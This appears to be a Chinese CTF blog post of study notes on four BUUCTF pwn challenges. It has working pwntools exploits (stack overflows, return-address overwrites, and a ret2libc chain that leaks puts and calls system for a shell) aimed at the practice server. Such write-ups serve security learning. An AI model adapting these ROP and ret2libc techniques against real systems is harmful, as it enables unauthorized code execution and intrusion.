0-Preview

简单的就不记笔记了,有新知识点了我再记录。

今天转战 BUU 。
分出了一点时间去准备英语四级,pwn会少一点。
小贴士:有时候不是nc没连上,是连上了没提示而已,他在等你输入指令回显
huixian

1-warmup_csaw_2016

image-20211005162155601

栈溢出,秒了

1.2-exp

1
2
3
4
5
6
PYTHON
from pwn import *
io = remote("node4.buuoj.cn",26546)
payload = 'a' * 0x48 + p64(0x40060d)
io.sendlineafter(">",payload)
io.interactive()

2-ciscn_2019_n_1

这道题本来不打算写的。结果exp写好打不通!
仔细一看,他要求覆盖数值是浮点数,得给他转成十六进制数。
可以直接看他的汇编代码,从里面找到数据直接用。
jnz是跳转判断,所以上一句就是对比的代码。从里面可以找到数据的十六进制。
image-20211005164359335

image-20211005164055399

2.2-exp

1
2
3
4
5
6
PYTHON
from pwn import *
io = remote("node4.buuoj.cn",29402)
payload = 'a' * (0x30 -0x4) + p64(0x41348000)
io.sendlineafter("Let's guess the number.\n",payload)
io.interactive()

3-pwn1_sctf_2016

这个题也很简单,但是tmd 他用 C++ 写的。
很久很久以前,我C艹的课全部用来学杂项了。导致我现在看不懂这些代码。
逆C++是真的搞人心态。搞半天大概看懂咋回事了,感觉c++伪代码有点像汇编

image-20211005181527349

我们可以构造一个包含大量 “ I ” 的字符串,经过处理后会导致溢出。实现getshell。
需要覆盖的位数为 3C+4,但是最多输入32 个。计算一下,需要 20 个 I。

3.1-exp

1
2
3
4
5
6
PYTHON
from pwn import *
io = remote("node4.buuoj.cn",25049)
payload = "I" * 20 + 'a' * 4 + p32(0x8048F0D)
io.sendline(payload)
io.interactive()

4-ciscn_2019_c_1

算是个有难度的题目:在 encrypt 函数中存在一个 gets 漏洞、没有system函数以及shell字符串。
首先判断为 ret2libc 类题目。
难受的是,输入的信息会经过加密,导致不能直接写入数据。
就在我在考虑如何逆一下他的加密算法,用来解密payload时候,猛然发现可以用 strlen()函数绕过这个加密。
image-20211005194341543

strlen() 判断字符串长度,识别到 ‘ \0 ’ 就会停止,而不是 ‘ \n ’,可以在字符串中添加截断进行攻击

4.1-思路整理

1、利用 ‘ \0 ’ 绕过加密,实现栈溢出劫持程序
2、这个题没有给libc文件,和之前做的不一样,需要用到 LibcSearcher

1
2
3
4
PYTHON
from LibcSearcher import *
#第二个参数,为已泄露的实际地址,或最后12位(比如:d90),int类型
obj = LibcSearcher("fgets", 0X7ff39014bd90)

3、利用 puts 函数泄露 got 表地址,计算出偏移量
4、返回主函数二次溢出,调用system getshell

4.2-misc(实在不知道起啥名就杂项吧

这还是个 Ubuntu18 的程序,调用 system 还需要栈对齐。还需要找个 ret 的地址。

因为x64的调用约定中,大部分情况下默认是16字节对齐的,gcc编译时分配数组是也会进行16字节对齐,但是栈溢出后我们破坏掉了这个对齐,导致了这个错误,解决方法就是多加一条ret,让rsp+8,对齐16字节即可。

这是个 64 位栈溢出,是用寄存器传参的,需要用到 pop edi,还是那句老指令:

1
2
3
4
BASH
ROPgadget --binary ./c1
0x0000000000400c83 : pop rdi ; ret
0x00000000004006b9 : ret

4.3-exp

要注意很多细节,我也是写exp的时候总报错,删删改改才搞出来。

1、没有libc文件时用的 LibcSearcher 不能使用 symblos,要用 dump。
2、使用LibcSearcher 查找 sh地址不能用search ,还是用 dump(“str_bin_sh”)
3、几个函数讲解:

1
2
3
4
5
6
CODE
io.recvline() #接受一行,通常用来跳过不重要信息
u64(io.recv(7)[:-1].ljust(8,b'\x00'))
u64() #u64 -> unsigned 64bit s64 -> signed 64bit
recv(numb=字节大小, timeout=default) #接受指定字节数据
ljust(8,b'\x00')) #接受 8 位左对齐的数据,如果不足八位,用 ‘\x00’ 填充到左边
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
PYTHON
from pwn import *
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
elf = ELF("c1")
shangu = 1

def main():
if shangu == 1:
io = remote("node4.buuoj.cn",25379)
else:
io = process("c1")
pop_edi = 0x400c83
ret = 0x4006b9
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
fuc_adr = elf.symbols["main"]

payload = '\0' + 'a' * 0x57 + p64(pop_edi) + p64(puts_got) + p64(puts_plt) + p64(fuc_adr)


io.sendlineafter("Input your choice!\n","1")
io.sendlineafter("Input your Plaintext to be encrypted\n",payload)
io.recvuntil('Ciphertext\n')
io.recvline()
puts_adr = u64(io.recv(7)[:-1].ljust(8,b'\x00'))
print(hex(puts_adr))
# io.interactive()

libc = LibcSearcher("puts",puts_adr)

iv = puts_adr - libc.dump("puts")
sys_adr = libc.dump("system") + iv
shell_adr = libc.dump("str_bin_sh") + iv

payload1 = '\0' + 'a' * 0x57 + p64(ret) + p64(pop_edi) + p64(shell_adr) + p64(sys_adr)
io.sendlineafter("Input your choice!\n","1")
io.sendlineafter("Input your Plaintext to be encrypted\n",payload1)
io.interactive()


main()

5-如何让自己看起来很黑阔

我刚刚无意间发现除了pip安装轮子和dir以外,开很多窗口也很黑阔。

image-20211005233559896

6-老传统-壁纸

bfgirl